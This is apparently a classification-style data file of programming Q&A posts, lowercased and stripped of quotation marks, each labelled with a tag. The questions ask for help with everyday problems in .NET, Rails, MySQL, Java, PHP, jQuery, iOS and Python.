is it possible to tell if a .net virtual method has been overriden in a derived class   the very act of asking this question suggests that my approach to this problem is incorrect  so i m interested in answers which address the question directly  as well as answers which suggest a cleaner approach to what i m doing.    consider a base class which provides a standard set of services and functionalities  as well as some structure around those. by way of metaphor  let s consider the following example class:   <pre><code>public class examplebase {   public void main()   {     // do something     prevalidate(); // extensibility point for derived classes     // do something else     postvalidate(); // extensibility point for derived classes     // do something else    }    protected virtual void prevalidate()   {   }    protected virtual void postvalidate()   {   } } </code></pre>   the derived class can now override these virtual methods to provide some custom logic.    <strong>here is the question</strong>: is it possible for the base class to discover at runtime if the derived class has taken the liberty of overriding one of these virtual methods  <em>before</em> invoking the virtual method     (if it was sufficient to know the answer to this question <em>after</em> invoking the method  then you could perhaps replace the empty method in the base class with a method that sets a private flag  which would indicate the method was <em>not</em> overridden. however this might be fooled if the derived class invokes <code>base.prevalidate()</code> in its overridden implementation.)    perhaps the best solution would be to use a completely different extensibility mechanism if this level of flexibility is required,.net
css overwritten  i ve a blog at <a href= http://olisan.dk/blog/  rel= nofollow >http://olisan.dk/blog/</a> - as you can see there s a 28px high gap (margin-top)... in the style.css:    <code>margin-top: 0;</code> was also set to <code>margin-top: 0 !important;</code> none of these worked as desired - i can see <code>margin-top: 28px !important</code> in firebug  located in  blog #2  (!  )    any help will be appreciated.,css
rails diffy gem: how to use css  i m using diffy (<a href= https://github.com/samg/diffy  rel= noreferrer >click for github</a>).  it s awesome  but i can t figure out how to add colors using the css is comes with.  the readme mentions it s possible to do this  but i m not really sure how to leverage their css.    i m pretty sure it s possible  since <a href= http://drasticcode.com/2010/11/26/the-easiest-way-to-diff-two-strings-in-ruby  rel= noreferrer >this guy talks about it</a>.     has anyone worked with diffy for colors before,ruby-on-rails
ios: dimensions of search bar in navigation controller  i have a uisearchbar in my navigation controller bar title view. i followed the first answer here <a href= https://stackoverflow.com/questions/3351464/how-to-add-search-bar-in-navigation-bar-for-iphone >how to add search bar in navigation bar for iphone </a>. this works for me but the dimensions of the search bar are hardcoded. how can i set the dimensions so that it looks nice on ipad and iphone in both portrait and landscape mode     this is the code in my search bar controller.   <pre><code>self.view = [[uiview alloc] initwithframe:cgrectmake(0.0  0.0  310.0  44)]; self.view.autoresizingmask = 0; _searchbar = [[uisearchbar alloc] initwithframe:cgrectmake(-5.0  0.0  320.0  44.0)]; _searchbar.autoresizingmask = uiviewautoresizingflexiblewidth; _searchbar.delegate = self; [self.view addsubview:_searchbar]; </code></pre>   then in my main viewcontroller i have   <pre><code>self.navigationitem.titleview = _searchcontroller.view; </code></pre>,ios
ordering list of members closest to their next award  i have two tables  one  gift_limit_count  and one  score  as follows:    <strong> gift_limit_count </strong>  containing:    gift_id<br> gift_limit<br> gift_amount    <strong> score </strong> containing:    user_id<br> user_name<br> user_score    when a user s  user_score  count gets to the next highest  gift_limit  they are awarded with the  gift_amount . what i d like to do is show a list of say  the top 10 users closest to their next award.    for example:    david(user_name) has 1 point to go before being awarded with £40 (gift_amount)<br> suzi has 2 points to go before being awarded with £20<br> ian has 2 points to go before being awarded with £40<br> zack has 3 points to go before being awarded with £30<br> ...<br> ...,mysql
media controller how to save to internal storage   i am using android <code>mediacontroller</code>. how can i save a recorded voice file to internal storage    <pre><code>private string file; file = environment.getexternalstoragedirectory() +  /temprecord.3gpp ; </code></pre>,android
java.util.prefs.preferences sharing between two jvms  i have two java programs (<em>a</em>  <em>b</em>) that run in separate (local) jvms  but access the same java.util.prefs.preferences (java.util.prefs.windowspreferences)   <pre><code>prefs = preferences.systemnodeforpackage(foo.class) </code></pre>   both programs call this once at startup.    <em>a</em> is a gui program which allows configuration. changes are written to the preferences node. at the end <code>flush</code> is called.    <em>b</em> is a background program that is doing the actual work.    <em>a</em> sends a notification to <em>b</em> that the configuration has changed. <em>b</em> reads the changed configuration.    there is no concurrent access to the preferences  since cross-jvm  locking (using <code>java.nio.channels.filelock</code>) is used.    my question: is this a safe solution  will <em>b</em> always read what <em>a</em> has written,java
confusion on do-while loop  here is my <strong>code</strong>    <pre><code>import java.util.*; public class dowhile { public static void main (string [] args) { scanner kb = new scanner (system.in); system.out.println( enter number of # to be displayed:  ); int tim = kb.nextint();       string hash =  # ;       do      {         system.out.println(hash);         hash = hash + 1;         } while (hash.equals(5));      } } </code></pre>   i am confused on how to display number of <strong>#</strong> after asked by the user..    i know <code>hash.equals(5)</code> does not make sense. how can i fix this code      any one please give the suggestion to me.,java
git bundle install error with nokogiri: libxms2 is missing  i m following the ruby on rails learn by example by michael hatrl tutorial but i m stuck halfway through chapter 3 due to an error. i m told to type:  rails generate controller pages home contact     where it responds with:  could not find gem  webrat (= 0.7.1)  in any of the gem sources listed in your gemfile. try running  bundle install     gemfile:   <pre><code>source  http://rubygems.org   gem  rails    3.0.1   # bundle edge rails instead: # gem  rails   :git =&gt;  git://github.com/rails/rails.git   gem  sqlite3-ruby    1.3.2   :require =&gt;  sqlite3   group :development do   gem  rspec-rails    2.5.0  end  group :test do   gem  rspec    2.5.0    gem  webrat    0.7.1  end  # use unicorn as the web server # gem  unicorn   # deploy with capistrano # gem  capistrano   # to use debugger # gem  ruby-debug   # bundle the extra gems: # gem  bj  # gem  nokogiri  # gem  sqlite3-ruby   :require =&gt;  sqlite3  # gem  aws-s3   :require =&gt;  aws/s3   # bundle gems for the local environment. make sure to # put test-only gems in this group so their generators # and rake tasks are available in development mode: # group :development  :test do #   gem  webrat  # end </code></pre>   when i try  bundle install  it lists all the file and when it gets to nokogiri an error comes up. the main error part being:   <pre><code>installing nokogiri (1.4.4) with native extensions /usr/lib/ruby/site_ruby/1.8/rubygems/installer.rb:533:in  build extensions : error:  failed to build gem native extension. (gem::installer::extensionbuilderror)              /usr/bin/ruby.exe extconf.rb checking for libxml/parser.h... no ----- libxml2 is missing. please visit http://nokogiri.org/tutorials/installing_nokogiri.html for help with installing dpenedencies. ----- *** extconf.rb failed *** could not create makefile due to some reason  probably lack of necessary libraries and/ or headers. check the mkmf.log file for details. you may need configuration options. </code></pre>   please help i need to finish the whole book quickly and this speedbump is slowing me down =(    edit: i am using git on windows 7,ruby-on-rails
app store link opens in safari but not in chrome  i have an app store link.. when i open it in chrome on my phone it just opens up this apple page and doesn t redirect users to the app store.    <a href= https://i.stack.imgur.com/ez0jg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ez0jg.png  alt= enter image description here ></a>    however  it works fine on safari.    how do i get this to work properly on chrome or other browsers,ios
dont understand why  preload/eager_load  doesnt work in ror   i dont understand why  domains  were queried many time although i use eager_load in controller (like serverity but  serveriry  were only queried one time)    code:    in controller:   <pre><code>       @problems = problem.all.eager_load(:serverity  :domain  :nation   :status :urgency :user  :works).order(start_time: :desc) </code></pre>   in model:    <pre><code>    class problem &lt; activerecord::base      belongs_to :serverity      belongs_to :urgency      belongs_to :nation      belongs_to :status      belongs_to :user        belongs_to :cause      belongs_to :domain      has_many   :works      has_many   :attachments  :dependent =&gt; :destroy       end </code></pre>   in view:   <pre><code>&lt;% @problems.each do |problem| %&gt;        &lt;td&gt;     &lt;%= link_to problem.name  problem  :method =&gt; :get %&gt;&lt;/td&gt;     &lt;td&gt;       &lt;% if problem.domain.root  %&gt;       &lt;%= problem.domain.name %&gt;       &lt;%else%&gt;       &lt;%= problem.domain.parent.name %&gt;       &lt;%end%&gt;     &lt;/td&gt;      &lt;td&gt;&lt;%= problem.serverity.name %&gt;&lt;/td&gt; &lt;%&gt; </code></pre>   in log:   <pre><code>  processing by problemscontroller#index as html                                                                              [1m[36muser load (15.6ms)[0m  [1m[34mselect  `users`.* from `users` where          `users`.`id` = 1 limit 1[0m                 [1m[36mcache (0.0ms)[0m  [1m[34mselect  `users`.* from `users` where `users`.`id` = 1 limit 1[0m  [[ id   1]  [ lim   rendering problems/index.html.erb within layouts/application                                                                [1m[35m (78.0ms)[0m  [1m[34mselect count(distinct `problems`.`id`) from `problems` left outer join `serverities` on    [1m[35m (0.0ms)[0m  [1m[34mselect count(distinct `problems`.`id`) from `problems` left outer join `serverities` on `   [1m[35m (0.0ms)[0m  [1m[34mselect count(distinct `problems`.`id`) from `problems` left outer join `serverities` on `   [1m[35m (0.0ms)[0m  [1m[34mselect count(distinct `problems`.`id`) from `problems` left outer join `serverities` on `   [1m[35m (0.0ms)[0m  [1m[34mselect count(distinct `problems`.`id`) from `problems` left outer join `serverities` on `   [1m[35m (0.0ms)[0m  [1m[34mselect count(distinct `problems`.`id`) from `problems` left outer join `serverities` on `   [1m[35msql (31.2ms)[0m  [1m[34mselect `problems`.`id` as t0_r0  `problems`.`name` as t0_r1  `problems`.`start_time`    [1m[36mdomain load (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 3 limit 1[0m          [1m[35m (0.0ms)[0m  [1m[34mselect count(*) from `works` where `works`.`problem_id` = 238 and `works`.`status` =  hoà   [1m[36mdomain load (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m          [1m[36mcache (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m  [[ id   6]    [1m[35m (0.0ms)[0m  [1m[34mselect count(*) from `works` where `works`.`problem_id` = 239 and `works`.`status` =  hoà   [1m[36mcache (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m  [[ id   6]    [1m[36mcache (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m  [[ id   6]    [1m[36mcache (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m  [[ id   6]    [1m[36mcache (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m  [[ id   6]    [1m[36mcache (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m  [[ id   6]    [1m[36mcache (0.0ms)[0m  [1m[34mselect  `domains`.* from `domains` where `domains`.`id` = 6 limit 1[0m  [[ id   6]  </code></pre>,ruby-on-rails
how do you delete null objects (not values) from a list  i have objects of a class choice which are in a list.    choice looks like this.   <pre><code>public class choice extends morphiamodel{        public string name;     public double price; } </code></pre>   some of them are empty  that is name is    and price is null.    i want to remove these empty values.    i tried iterating over the list and removing them empty choice objects  but i got a concurrentmodificationexception then i did this (after implementing equals and hashcode)  but it doesn t work  the empty values are still there.    note: option.choices is a list of choice objects   <pre><code>choice emptychoice = new choice();     emptychoice.name =   ;     emptychoice.price = null;      option.choices.remove(emptychoice); </code></pre>,java
instance pointers in an array  i m trying to save pointers of class instances into a mutable array. i m able to do this but getting them back into use seems to be a problem. the next is how i inserted the pointers into the array:   <pre><code>class *class = [class new]; /* do something with the instance */  [instancearray addobject:class]; </code></pre>   i am able to retrieve the wanted index from the array but when i try to access the instance variables etc. i only get compiler shouting at me or sometimes i get every variable as zero.    how am i supposed to get the instance back to use from the array  i know they are pointers but playing with them didn t seem to work.,objective-c
strange condition in mysql query  basically i have to edit someone s else code and the query is:   <pre><code>delete  from some_table where 1 </code></pre>   googling around didn t find anything similar.    i can t understand the condition. would someone explain it to me please,mysql
create new instance of campaign in every iteration  i am working on functionality whereby a table is displayed with records  each with radio buttons reject and approve. a user selects the appropriate radio button and presses process. control is passed to process_campaigns. from here it breaks down the data and analyses each record s status. if it is approved it redirects to approve block and same with reject.     the following parameters are passed:   <pre><code>parameters: { utf8 =&gt; ✓    authenticity_token =&gt; 9tcexvcmdahawgqlopdarksowbbaxzgwznra8sbnkwm=    campaign =&gt;{ 2 =&gt;{ start_date =&gt; 2016-07-18 15:43:00    end_date =&gt; 2016-10-15 12:20:00    merchant_revenue =&gt; 10    status =&gt; approved    notes =&gt;  }   1 =&gt;{ start_date =&gt; 2016-07-15 12:20:00    end_date =&gt;     merchant_revenue =&gt; 10    status =&gt; approved    notes =&gt;  }}   commit =&gt; process }  def process_campaign   authorize! :operator  current_user.operator    params[:campaign].each do |key  value|     if value[:status] ==  approved        redirect_to approve_operator_campaign_path(key)  :id =&gt; key  :start_date =&gt; value[:start_date]  :revenue_mode =&gt; value[:revenue_model]  :end_date =&gt;  value[:end_date]  :active =&gt; true  :status =&gt; 307 and return      elsif value[:status] ==  rejected        redirect_to reject_operator_campaign_path(key)  campaign_name: key  notes: value[:notes]  :status =&gt; 307 and return      end   end   redirect_to operator_campaigns_path  flash: { notice:  campaigns have been processed. } end  def reject   authorize! :operator  current_user.operator   params[:campaign].each do |key  value|     if value[:status] =  rejected        @campaign = campaign.active.where(id: key  operator_id: current_user.operator_id).last!       @campaign.data.merge!({:notes=&gt;value[:notes]})       @campaign.status =  rejected        @campaign.save(validate: false)     end   end end  def approve   @campaign = campaign.find(params[:id])   params[:campaign].each do |key  value|     if value[:status] =  approved        @applied_campaign = appliedcampaign.new(:campaign_id =&gt; key  :start_date =&gt; value[:start_date]||time.now  :end_date =&gt;  value[:end_date]  :active =&gt; true)     end   end end </code></pre>   the problem is when control is passed to approve or reject the entire campaign string is passed with both records contained within whereas i want to seperate each record and pass it individually. can anyone indicate why the entire campaign string is being passed,ruby-on-rails
what does the floating point  f  designator signify   i wonder if someone can clarify what the  f  behind a floating point number is used to signify    <pre><code>float myfloat = 12.0f; </code></pre>   as apposed to:   <pre><code>float myfloat = 12.0; </code></pre>   i have seen this used many times but its pretty hard to find an explanation either online or in books. i am assuming its either something carried over from another language thats supported for consistency by c or maybe its there as a directive for the compiler when it comes to evaluate the maths.    i am just curious if there is any practical difference between the  f  and using the  .  to signify a floating point number,objective-c
rails 3 plugin css  is it possible to have public directory in my plugin  i want to use css and javascript from my plugin folder  not from /app.,ruby-on-rails
detecting what am i pointing at  is there a way to detect if objects pointed by p and d are of different types  (p points to int and d points to array of ints):     <pre><code>int* p = new int(); int* d = new int[20];   </code></pre>,c++
rails: save values from model to db  i m using a lot of calculations in my model  e.g. this one:   <pre><code>def url   brandurl = brand.where(:company =&gt; self.brand).pluck(:url)   brandurl = brandurl.shift.strip   unique_id = [self.token  self.created_at.strftime( %d%m%y-%h:%m:%sutc )].join( &amp; )   self.url = brandurl +  / utm_campaign=  + unique_id +  &amp;utm_source=  + self.channel1 +  &amp;utm_medium=  + self.channel2 end </code></pre>   all i want is to save the value of url to my db. neither <code>before_create</code> nor <code>after_create</code> is working. <code>self.class.exists (url: url)</code> is also not working (creates a loop &amp; webserver crashes). any tipps are much appreciated!    thanks in advance.,ruby-on-rails
difference between string str=   and string str =      what is the differences between <code>string str1=  </code> and <code>string str2 =   </code>  when we print length of str1 there is output 0 and when we print length of str2 output is 1.i want to return a string values based upon some caluclation and if calulated values not exists(due to wrong input) then what should i return from my method  a null values or something else,java
how to calculate a percentage from a single table  i am trying to calculate the percentage on a transaction table. i can achieve my desired effect if i use views  but with the numbers i am dealing with  something faster would be much preferred.    table (betid is unique):   <pre> betid | userid | success    1    |  1     |  -1  2    |  1     |   1  3    |  2     |  -1  4    |  3     |   1 </pre>   i want to find the winning percentage for every user. i have a strong feeling that i m missing something small and will be kicking myself for the answer  but all of the examples i ve looked at i can t get to work. thanks for any help!,mysql
how to set multiple language on setup time in radio button . see more: c#  i am using a localization in my project  but my question is when user install a project they choose a either english or marathi language from the radio button option in set up time and my whole project run on that particular language only  how to set this on set up time,c#
how do you make a rails route constraint that the first folder in path is an id   i am working on an api and would like the url s to look like <code>domain.com/v1/12345678/users/23</code> with the <code>12345678</code> translating to an account number.     i would like to pass the <code>12345678</code> to calls but cannot figure out how i can make a constraint for the routes and how i can pull that id in other calls.    i know if this was a subdomain  i could create a constraint for the routes file that restricts the routes to only those subdomains  and i could do something like <code>account.find_by_subdomain(request.subdomain)</code> to grab the account info on other calls but i am drawing a blank trying to figure out how to do the same but with a path and not subdomain.   <hr>   edit    i think i want my routes to look something like this   <pre><code>namespace :v1 do      scope  :account_id   :module =&gt;  account  do         post  /users   :to =&gt;  users#create   default: :json         get  /users   :to =&gt;  users#index   default: :json         get  /users/:id   :to =&gt;  users#show   as: :user  default: :json     end end </code></pre>,ruby-on-rails
pdf table structure while exporting asp.net to pdf  i have bellow code to display data in a table. i am trying to display table with left   right  top and bottom border. within cells there should not have border. the following code displays border left right and top. how to display bottom border    <pre><code>pdfptable table = new pdfptable(5); table.totalwidth = 550f; table.lockedwidth = true; float[] widths = new float[] { 50f  30f  30f  50f  50f}; table.setwidths(widths); table.horizontalalignment = element.align_center; addcell(table   product name ); addcell(table   system type ); addcell(table   operation ); addcell(table   quality ); addcell(table   price );   addnewcell(table  mobile  1 0 0 0); addnewcell(table   a   0  0  0  0); addnewcell(table   o1   0  0  0  0); addnewcell(table   a1   0  0  0  0); addnewcell(table   100   0  1  0  0); </code></pre>   and addnewcell() and addcell() are like:-   <pre><code>private static void addcell(pdfptable table  string text)     {          basefont bftimes = basefont.createfont(basefont.times_roman  basefont.cp1252  false);          itextsharp.text.font times = new itextsharp.text.font(bftimes  10  itextsharp.text.font.normal  itextsharp.text.color.black);          pdfpcell cell = new pdfpcell(new phrase(text  times));          cell.right = 0;          cell.horizontalalignment = pdfpcell.align_center;          cell.verticalalignment = pdfpcell.align_middle;          color mycolor = webcolors.getrgbcolor( #f7ff00 );          cell.backgroundcolor = mycolor;          table.addcell(cell);     }     private static void addnewcell(pdfptable table  string text int bordersizeleft int borderright int bordertop int borderbottom)     {         basefont bftimes = basefont.createfont(basefont.times_roman  basefont.cp1252  false);         itextsharp.text.font times = new itextsharp.text.font(bftimes  12  itextsharp.text.font.normal  itextsharp.text.color.black);         pdfpcell cell = new pdfpcell(new phrase(text  times));         cell.horizontalalignment = pdfpcell.align_center;         cell.verticalalignment = pdfpcell.align_middle;         //table.defaultcell.border = rectangle.no_border;         cell.borderwidthleft = bordersizeleft;         cell.borderwidthright = borderright;         cell.borderwidthbottom = borderbottom;         cell.borderwidthtop = bordertop;         table.addcell(cell);      } </code></pre>   please help me to get bottom border    <img src= https://i.stack.imgur.com/zpvdp.png  alt= enter image description here >,c#
how to display two columns(datetime and nvarchar type) with bind() function in a repeater   i have an app which has this code :   <pre><code>&lt;td scope= col &gt;     &lt;asp:label id= label5  runat= server  text= &lt;%#bind( court ) %&gt; &gt;&lt;/asp:label&gt;  &lt;/td&gt; </code></pre>   i also want to show a date information with the court information. how can i combine two columns with the <code>bind()</code> function   i tried to combine columns in sql but court is <code>nvarchar</code> and date is <code>datetime</code> so icouldn t do it.how can i do this in asp.net   or is there any way to combine two columns that have different types,asp.net
fetch content of next td on checkbox click  how to fetch the content of the next <code>td</code> when the check box is clicked   <pre><code>&lt;table&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type=checkbox name=t&gt;         &lt;/td&gt;         &lt;td width=25%&gt;             foobar         &lt;/td&gt;         &lt;td width=73%&gt;             baz         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td&gt;             &lt;input type=checkbox name=t&gt;         &lt;/td&gt;         &lt;td width=25%&gt;             foo         &lt;/td&gt;         &lt;td width=73%&gt;             bar         &lt;/td&gt;     &lt;/tr&gt; &lt;/table&gt; </code></pre>   my javascript code:   <pre><code>var c=new array(); c=window.document.getelementsbytagname( input ); for(var i=0;i&lt;c.length;i++) {     if(c[i].type== checkbox )     {         alert(c[i].parentnode.parentnode.rows[0].innerhtml);     } } </code></pre>   i am trying to fetch the content of the next td when a check box is clicked. for the first row  <code>foobar</code> should be fetched and so on.    <strong>edit</strong>   <blockquote>    <strong>points to note:</strong> i m pretty sure about the tags that i am using for   this question. please dont post any answers that point to some js   library eg. jquery etc.  </blockquote>,javascript
bugs with jquery.live()   can anyone explain to me what s going on     <a href= http://jsfiddle.net/k5yvp/2/  rel= nofollow >http://jsfiddle.net/k5yvp/2/</a>    so the way to  achieve  the bugs is :   <ul> <li>click show parent or show parent 2</li> <li>click next to alert</li> <li>click hide to hide (i even remove the contents with html(  ))</li> <li>click show parent or show parent 2 again</li> <li>click next</li> <li>bam! two alerts occur!</li> <li>repeat for more and more alerts to occur</li> </ul>   i know the codes i wrote in fiddle is no good  since it s just a simplified version of the problem i found out yesterday. so basically what i meant to do is :   <ul> <li>show parent and show parent 2 are actually a button to call ajax to show contents of albums (can be more than 2 of course)</li> <li>the &lt; p class= next >next &lt; /p> is the representation of the data returned from the ajax request.</li> <li>each of this data can be clicked to do something along with the data returned from the ajax. on this fiddle  i simply alert  aaa   with the title of the show parent/ show parent 2 (supposed to be  albums ). that s why i include the jquery click event inside the show click event since i need the data passed by the ajax which is requested inside the show click event (hope this is clear enough)</li> </ul>   i ve tried some ways to solve this but it s still quite bugging me that my codes are generating bugs( ) . some of them are :   <ul> <li>change $( .parent ).html(  ); to $( .parent ).remove(); but of course the div class parent will be gone and i will have to recreate it which is not what i want. maybe i can do $( .parent * ).remove(); to remove all elements inside the parent div  but it s the last resort for me. it s a confusing one since firebug only shows one instance of the &lt; p class= next > exists at one time.</li> <li>move the next click event outside the show click event. the show click event will store the data returned by ajax request in a certain div  and the next click event will get the data from this div. a workaround but is there a better way </li> </ul>   hope this is clear enough. thanks!,jquery
how do i add text at the end of this php script  here is the script normally. it saves data to a file.   <pre><code>       &lt; php if (isset($_get[ field ])) { $file =  data.txt ; // open the file to get existing content $current = file_get_contents($file);  // append a new line to the file $current .=  \n .$_get[ field ];  // write the contents back to the file file_put_contents($file  $current); }  &gt; </code></pre>   but i want it to add (added by a user) at the end of what is sent. i have tried this:   <pre><code>     &lt; php if (isset($_get[ field ])) { $file =  data.txt ; // open the file to get existing content $current = file_get_contents($file);  // append a new line to the file $current .=  \n .$_get[ field ] +  (added by a user) ;  // write the contents back to the file file_put_contents($file  $current); }  &gt; </code></pre>   but it doesn t work. how do i do this,php
mouse dragging problem  i m having the problem of capturing all the coordinate value of pixels while dragging with the mouse using mousedragged event in java while i m dragging slowly i m able to get all the coordinate value of pixels but when i m doing it fast i m getting only one third of the pixel coordinate values for example if i drag it slowly i m getting 760 pixel values but when i m doing it fast i m getting only 60 pixel coordinate values please help me     i need all the points because i m going to use all those points for the signature comparision... project description : user will put the sign using mouse in log in page  this sign will be compared with the sign which the user already put in sign up page...    i m going to compare the sign using the pixel values  so by getting all the coordinate values only i can compare the sign... pls help me...,java
prevent browser from evaluating %2f  i have a php script which generates a bunch of links like so   <pre><code>&lt;a href= http://localhost/explorer/index.php repository_id=default&amp;folder=%2fmypath%2finner%2finner2 &gt;link&lt;/a&gt; </code></pre>   but when i hover over this link or click on it  it really goes to <a href= http://localhost/explorer/index.php repository_id=default&amp;folder=/mypath/inner/inner2  rel= nofollow >http://localhost/explorer/index.php repository_id=default&amp;folder=/mypath/inner/inner2</a>    how do i prevent this behavior and force it to go to <a href= http://localhost/explorer/index.php repository_id=default&amp;folder=%2fmypath%2finner%2finner2  rel= nofollow >http://localhost/explorer/index.php repository_id=default&amp;folder=%2fmypath%2finner%2finner2</a> the tool which receives this input needs to have %2f inside of the /,html
how to programmatically create a standalone app on user s homescreen   i am looking for a way to create a shortcut on the user s home screen or export a standalone app. the app <a href= https://itunes.apple.com/us/app/workflow-powerful-automation/id915249334 mt=8  rel= nofollow noreferrer >workflow</a> in the app store does this already  i just don t know how they accomplish it. does anyone know     <strong>edit</strong>    <img src= https://i.stack.imgur.com/ofecd.jpg  alt= enter image description here >,ios
can not output data after clicking submit  i have 3 php files: 1st login-form.php   <pre><code>&lt; php if(isset($_post[ user ]) &amp;&amp; isset($_post[ password ])) {     if(!empty($_post[ user ]) &amp;&amp; !empty($_post[ password ]))     {     $user=$_post[ user ];     $password=$_post[ password ];     header( location:index-test.php );     } }  &gt; &lt;form action= index-test.php  method= post &gt; username &lt;input type= text  name= user /&gt;&lt;br&gt; password &lt;input type= text  name= password /&gt;&lt;br&gt; &lt;input type= submit  name= submit  value= submit /&gt; &lt;/form&gt; </code></pre>   2nd index-test.php   <pre><code> &lt; php require  core-test.php ;  if(loggedin()) { echo  ok ; } else { include  login-form.php ; }    &gt; </code></pre>   3rd core-test.php   <pre><code>&lt; php function loggedin() {     if(isset($user) &amp;&amp; isset($password))     {     return true;     }     else     {     return false;     } }  &gt; </code></pre>   when i type index.php.it will output login-from.php because i haven t input data yet.but when i type data and click submit it still show up the login form not the messege  ok . where iam wrong,php
trying to calculate the distance between the position of two objects  i have these two instance variables which are set within the constructor of the object to be:    <pre><code>    (int)(math.random()*100); </code></pre>   the two instance variables are:   <pre><code>    private double xpos;     private double ypos; </code></pre>   the class is called soldier and i have three other classes that inherit from soldier  (only the constructor at the moment)    the output i am getting at the moment is:    my name is: cavalier i am at position: (45.0 56.0)    my name is: crossbowman i am at position: (15.0 91.0)    my name is: halberdier i am at position: (67.0 8.0)    i am trying to calculate the distance in the x and y positions of the objects    the method i am currently trying is:   <pre><code>    protected soldier distancebetween(soldier x  soldier y){         double distbetween = (x.xpos - y.xpos)+(x.ypos-y.ypos);         return this;      } </code></pre>   the method i am trying to achieve is where two objects that inherit from soldier are taken into the distbetween paremeters   for example i use the names:  halberdier  cavalier and  crossbowman.    when i call this method:   <pre><code>    cavalier.distancebetween(cavalier crossbowman); </code></pre>   i want it to calculate the distance between the x and y coordinates    how would i achieve this,java
c++ template class objects compatible  i have a template class   <pre><code>template&lt;int n&gt; class xyz{ some code .... }; </code></pre>   if i do not use n inside the class  then all objects of this class should be compatible irrespective of the template value. but its not.    for example  if i say <code>xyz&lt;20&gt; a</code> and then <code>xyz&lt;30&gt; b(a)</code>  the compiler gives an error.    why is this so,c++
jquery question about toggling a layer  website <a href= http://bit.ly/euxvuj  rel= nofollow >http://bit.ly/euxvuj</a>    i m doing the following to toggle the mouse. but when your mouse travels about half way down on the #sideshoppingcart div  the whole div goes away.   <pre><code>$(document).ready(function() {      $( li#menu-item-170 ).hover(function() {             wwd_shopping_cart_collapser();         } function() {             wwd_shopping_cart_collapser();         }); }  function wwd_shopping_cart_collapser() {   switch($( #sideshoppingcart ).css( display )) {     case  none :     $( #sideshoppingcart ).slidetoggle( fast  function(){             $.post(  index.php    ajax=true&amp;set_slider=true&amp;state=1   function(returned_data) { });          });     break;      default:     $( #sideshoppingcart ).slidetoggle( fast  function(){             $.post(  index.php    ajax=true&amp;set_slider=true&amp;state=0   function(returned_data) { });          });     break;     }   return false; } </code></pre>,jquery
split list into 2 lists corresponding to every other element  i know there are many chunky ways to do this  but i am looking for a slick pythonic way to accomplish the following. given a list of numbers:   <pre><code>a = [0 1 2 3 4 5 6 7 8 9] </code></pre>   split this list into 2 lists corresponding to every other element:   <pre><code>b = [0 2 4 6 8] c = [1 3 5 7 9] </code></pre>,python
how can i get a list of the extended html colors in .net   i would love to get a list of the extended html colors  like the ones displayed <a href= http://www.scriptingmaster.com/html/html-extended-color-names.asp  rel= nofollow >here</a>    i need both the color name and the html value. is there any available function in .net,.net
mysql: you can t specify target table  list  for update in from clause  i m attempting to run the following query:   <pre><code>update list set li =  6  where li =  5  and dn in ( select dn from list group by dn having count(*) &lt; 2000 ) </code></pre>   this query results in the error mentioned above:   <pre><code>you can t specify target table  list  for update in from clause </code></pre>   so i got advice from someone who advised me to run the following:   <pre><code>start transaction; update  list a     inner join     (         select  dn          from    list          group   by dn          having  count(*) &lt; 2000      ) b on a.dn = b.dn set     a.li =  6  where   a.li =  5 ; </code></pre>   this code runs - problem is it never finishes.  i m not sure if it s a problem with the statement itself or if it s because of the 4million records it s trying to work itself through  but i left it going last night when i went to bed and it hadn t finished this morning.  also  just an afterthought:  i did try to roll this into a transaction in case things went fugly so threw in a  start transaction;  at the start of this.    i get the impression this is a fairly common question on here - but i m not sql savvy enough to take someone elses query and adjust it to fit my own needs  unfortunately. :p    can anyone guide me to a solution that will allow me to update these records   much appreciated.,mysql
how to sepearate the validation code from html page in angularjs  i tried with ng-bind-html but im not getting how to seperate the validation codes from html page .i need to maintain the validation error file in seperate page    <pre><code> div class= col-lg-6 &gt;         &lt;div class= form-group &gt;           &lt;label&gt;{{  employeeid  | translate }} :&lt;/label&gt;           &lt;input type= text  name= empid  class= form-control  ng-model= empid  placeholder= {{  employeeid  | translate }} &gt;           &lt;p ng-show= userform.empid.$invalid &amp;&amp; !userform.empid.$pristine  class= help-block requiredtext &gt;{{ employee_id_validate  | translate}}&lt;/p&gt;          &lt;/div&gt;             &lt;div class= form-group &gt;           &lt;label&gt;{{  employee_name  | translate }} : &lt;spn class= manadatoryicon &gt; *&lt;/span&gt;&lt;/label&gt;           &lt;input type= text  name= username  class= form-control  ng-model= username  placeholder= {{  employee_name  | translate }}  required&gt;         &lt;div ng-messages= userform.username.$error &gt;         &lt;p ng-bind-html= myhtml &gt;&lt;/p&gt;         &lt;/div&gt;          &lt;/div&gt;          &lt;div class= form-group &gt;           &lt;label&gt;{{  father_husband_name  | translate }}:&lt;/label&gt;           &lt;input type= text  name= fatherorhusbandname  class= form-control  ng-model= fatherorhusbandname  placeholder= {{  father_husband_name  | translate }} &gt;           &lt;p ng-show= userform.fatherorhusbandname.$invalid &amp;&amp; !userform.fatherorhusbandname.$pristine  class= help-block requiredtext &gt;{{ father_husband_name_valid  | translate}}&lt;/p&gt;         &lt;/div&gt; </code></pre>,angularjs
browsing the phone registered accounts  i want that instead of entering manually an email on my app  that i will open the registered emails (device account) on the app. i saw it once on another app. how  can this be achieved     thanks!,android
